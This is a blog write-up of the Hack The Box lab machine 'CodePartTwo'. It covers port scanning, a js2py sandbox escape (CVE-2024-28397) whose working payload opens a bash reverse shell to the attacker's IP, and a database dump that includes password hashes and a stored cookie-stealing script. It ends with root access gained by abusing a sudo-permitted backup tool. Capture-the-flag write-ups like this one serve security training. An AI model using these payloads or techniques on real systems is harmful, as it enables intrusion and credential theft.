Write Ups

Here you can find some writeups of Hack The Box machines that I have solved. Open them to see the details of each machine, including the steps I took to solve them, the tools I used, and any challenges I faced along the way.

Feel free to reach out if you have any questions or want to discuss anything related to cybersecurity or web development.

Check out other write ups

CodePartTwo

CodePartTwo icon

Difficulty:Easy

OS:Linux

htb logo

Enumeration

We start by scanning the target machine for open ports using Nmap. We will use the -p- option to scan all ports and the --open option to filter out closed ports

nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.11.82 -o allPorts
PORT   STATE SERVICE REASON
PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack ttl 63
8000/tcp open  http-alt syn-ack ttl 63

We can see that port 22 is open, which is the SSH service and port 8000 is open, which is the HTTP alternative service.

Now we will scan the open ports with service version detection and script scanning using -sC and -sV options

nmap -p22,8000 -sCV 10.10.11.82 -o targeted
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-title: Welcome to CodeTwo
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We download the source code of the app and we see its running a Flask application which runs javascript code using js2py with js2py.disable_pyimport option active:

@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})

User Exploitation

We find CVE-2024-28397 online, which is a vulnerability in js2py that allows for remote code execution.

We set up a listener to catch the reverse shell:

nc -lvnp 443

We run the following code in the web application in port 8000:

let cmd = "bash -c \"bash -i >& /dev/tcp/10.10.14.216/443 0>&1\""
let hacked, bymarve, n11=11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)

n11

If nothing has gone wrong, we should have a reverse shell connection established:

whoami
app

It looks like we have to migrate to user marco.

We find some hashed credentials in database:

sqlite3 instance/users.db .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE user (
        id INTEGER NOT NULL, 
        username VARCHAR(80) NOT NULL, 
        password_hash VARCHAR(128) NOT NULL, 
        PRIMARY KEY (id), 
        UNIQUE (username)
);
INSERT INTO user VALUES(1,'marco','649c9d65a206a75f5abe509fe128bce5');
INSERT INTO user VALUES(2,'app','a97588c0e2fa3a024876339e27aeb42e');
INSERT INTO user VALUES(3,'gdbxcvgg','5f4dcc3b5aa765d61d8327deb882cf99');
CREATE TABLE code_snippet (
        id INTEGER NOT NULL, 
        user_id INTEGER NOT NULL, 
        code TEXT NOT NULL, 
        PRIMARY KEY (id), 
        FOREIGN KEY(user_id) REFERENCES user (id)
);
INSERT INTO code_snippet VALUES(1,6,replace('let cmd = "ls /"\nlet hacked, bymarve, n11\nlet getattr, obj\n\nhacked = Object.getOwnPropertyNames({})\nbymarve = hacked.__getattribute__\nn11 = bymarve("__getattribute__")\nobj = n11("__class__").__base__\ngetattr = obj.__getattribute__\n\nfunction findpopen(o) {\n    let result;\n    for(let i in o.__subclasses__()) {\n        let item = o.__subclasses__()[i]\n        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {\n            return item\n        }\n        if(item.__name__ != "type" && (result = findpopen(item))) {\n            return result\n        }\n    }\n}\n\nn11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()\nconsole.log(n11)\nn11','\n',char(10)));
INSERT INTO code_snippet VALUES(2,7,'<body onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//http://10.10.11.82:8000:4848/?".concat(document.cookie)},1010)></body>');
COMMIT;

We use (crackstation)[https://crackstation.net/] to crack the password hash for user marco and obtain the password sweetangelbabylove.

Root Exploitation

We check if we can use the sudo command:

sudo -l
Matching Defaults entries for marco on codetwo:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codetwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

We can check what does /usr/local/bin/npbackup-cli by looking at its source code:

cat /usr/local/bin/npbackup-cli
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from npbackup.__main__ import main
if __name__ == '__main__':
    # Block restricted flag
    if '--external-backend-binary' in sys.argv:
        print("Error: '--external-backend-binary' flag is restricted for use.")
        sys.exit(1)

    sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
    sys.exit(main())

We can try running it with --help options:

sudo /usr/local/bin/npbackup-cli --help

usage: npbackup-cli [-h] [-c CONFIG_FILE] [–repo-name REPO_NAME] [–repo-group REPO_GROUP] [-b] [-f] [-r RESTORE] [-s] [–ls [LS]] [–find FIND] [–forget FORGET] [–policy] [–housekeeping] [–quick-check] [–full-check] [–check CHECK] [–prune [PRUNE]] [–prune-max] [–unlock] [–repair-index] [–repair-packs REPAIR_PACKS] [–repair-snapshots] [–repair REPAIR] [–recover] [–list LIST] [–dump DUMP] [–stats [STATS]] [–raw RAW] [–init] [–has-recent-snapshot] [–restore-includes RESTORE_INCLUDES] [–snapshot-id SNAPSHOT_ID] [–json] [–stdin] [–stdin-filename STDIN_FILENAME] [-v] [-V] [–dry-run] [–no-cache] [–license] [–auto-upgrade] [–log-file LOG_FILE] [–show-config] [–external-backend-binary EXTERNAL_BACKEND_BINARY] [–group-operation GROUP_OPERATION] [–create-key CREATE_KEY] [–create-backup-scheduled-task CREATE_BACKUP_SCHEDULED_TASK] [–create-housekeeping-scheduled-task CREATE_HOUSEKEEPING_SCHEDULED_TASK] [–check-config-file]

Portable Network Backup Client This program is distributed under the GNU General Public License and comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions; Please type –license for more info.

optional arguments: -h, –help show this help message and exit -c CONFIG_FILE, –config-file CONFIG_FILE Path to alternative configuration file (defaults to current dir/npbackup.conf)


We see there is a configuration file located at `/home/marco/npbackup.conf`. We can change the backup directory to `/root` to be able to check the flag: 

```bash
cat /tmp/new_npbackup.conf
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri: 
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
      - /root
      source_type: folder_list
      exclude_files_larger_than: 0.0
    repo_opts:
      repo_password: 
        __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
      retention_policy: {}
      prune_max_unused: 0
    prometheus: {}
    env: {}
    is_protected: false
groups:
...
...
...

We do a backup with new configuration:

sudo /usr/local/bin/npbackup-cli -c /tmp/new_npbackup.conf -b --force

We see what files and directories have been backed up:

sudo /usr/local/bin/npbackup-cli -c /tmp/new_npbackup.conf --ls
sudo /usr/local/bin/npbackup-cli -c /tmp/test.conf --ls
2025-08-18 23:10:32,488 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-18 23:10:32,516 :: INFO :: Loaded config 09F15BEC in /tmp/test.conf
2025-08-18 23:10:32,526 :: INFO :: Showing content of snapshot latest in repo default
2025-08-18 23:10:34,716 :: INFO :: Successfully listed snapshot latest content:
snapshot e9238d22 of [/root] at 2025-08-18 23:10:27.600994831 +0000 UTC by root@codetwo filtered by []:
/root
/root/.bash_history
/root/.bashrc
/root/.cache
/root/.cache/motd.legal-displayed
/root/.local
/root/.local/share
/root/.local/share/nano
/root/.local/share/nano/search_history
/root/.mysql_history
/root/.profile
/root/.python_history
/root/.sqlite_history
/root/.ssh
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.vim
/root/.vim/.netrwhist
/root/root.txt
/root/scripts
/root/scripts/backup.tar.gz
/root/scripts/cleanup.sh
/root/scripts/cleanup_conf.sh
/root/scripts/cleanup_db.sh
/root/scripts/cleanup_marco.sh
/root/scripts/npbackup.conf
/root/scripts/users.db

We check the root flag file content:

sudo /usr/local/bin/npbackup-cli -c /tmp/new_npbackup.conf --dump /root/root.txt
root flag value

Conclusion

We have successfully exploited the CodeTwo machine by leveraging a vulnerability in the js2py library to gain remote code execution, then used that access to escalate privileges to user marco and finally to root by exploiting the npbackup-cli utility. We were able to retrieve both user and root flags, completing the challenge.


Check out other write ups

Here you can find some writeups of Hack The Box machines that I have solved. Open them to see the details of each machine, including the steps I took to solve them, the tools I used, and any challenges I faced along the way.